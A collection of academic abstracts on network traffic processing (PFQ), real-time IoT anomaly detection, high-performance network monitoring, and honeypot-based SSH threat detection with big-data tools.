Network Traffic Processing with PFQ

This paper presents Packet Family Queue (PFQ), a high-performance framework for packet processing designed to flexibly handle network applications parallelism and making traffic processing safe and easy. PFQ is an open-source module for the Linux kernel that combines software-accelerated packet I/O to in-kernel early stage packet processing and fine-grained distribution to network applications and physical devices. PFQ does not require any modification to network device drivers and exposes programming interfaces to multi-threaded applications natively designed to run on top of it, as well as to legacy monitoring tools using the pcap library. The results show that the flexibility and the backward compatibility provided by PFQ do not impact its processing performance that, in fact, reaches line rate figures in the cases of pure speed tests and real practical monitoring use cases on 10+ Gb/s links

A domain-independent methodology to analyze IoT data streams in real-time. A proof of concept implementation for anomaly detection from environmental data

Pushed by the Internet of Things (IoT) paradigm modern sensor networks monitor a wide range of phenomena, in areas such as environmental monitoring, health care, industrial processes, and smart cities. These networks provide a continuous pulse of the almost infinite activities that are happening in the physical space and are thus, key enablers for a Digital Earth Nervous System. Nevertheless, the rapid processing of these sensor data streams still continues to challenge traditional data-handling solutions and new approaches are being requested. We propose a generic answer to this challenge, which has the potential to support any form of distributed real-time analysis. This neutral methodology follows a brokering approach to work with different kinds of data sources and uses web-based standards to achieve interoperability. As a proof of concept, we implemented the methodology to detect anomalies in real-time and applied it to the area of environmental monitoring. The developed system is capable of detecting anomalies, generating notifications, and displaying the recent situation to the user

Harnessing low-level tuning in modern architectures for high-performance network monitoring in physical and virtual platforms

Tesis doctoral inédita leída en la Universidad Autónoma de Madrid, Escuela Politécnica Superior, Departamento de Tecnología Electrónica y de las Comunicaciones. Fecha de lectura: 02-07-201

Unknown Threat Detection With Honeypot Ensemble Analsyis Using Big Datasecurity Architecture

The amount of data that is being generated continues to rapidly grow in size and complexity. Frameworks such as Apache Hadoop and Apache Spark are evolving at a rapid rate as organizations are building data driven applications to gain competitive advantages. Data analytics frameworks decomposes our problems to build applications that are more than just inference and can help make predictions as well as prescriptions to problems in real time instead of batch processes. Information Security is becoming more important to organizations as the Internet and cloud technologies become more integrated with their internal processes. The number of attacks and attack vectors has been increasing steadily over the years. Border defense measures (e.g. Intrusion Detection Systems) are no longer enough to identify and stop attackers. Data driven information security is not a new approach to solving information security; however there is an increased emphasis on combining heterogeneous sources to gain a broader view of the problem instead of isolated systems. Stitching together multiple alerts into a cohesive system can increase the number of True Positives. With the increased concern of unknown insider threats and zero-day attacks, identifying unknown attack vectors becomes more difficult. Previous research has shown that with as little as 10 commands it is possible to identify a masquerade attack against a user\u27s profile. This thesis is going to look at a data driven information security architecture that relies on both behavioral analysis of SSH profiles and bad actor data collected from an SSH honeypot to identify bad actor attack vectors. Honeypots should collect only data from bad actors; therefore have a high True Positive rate. Using Apache Spark and Apache Hadoop we can create a real time data driven architecture that can collect and analyze new bad actor behaviors from honeypot data and monitor legitimate user accounts to create predictive and prescriptive models. Previously unidentified attack vectors can be cataloged for review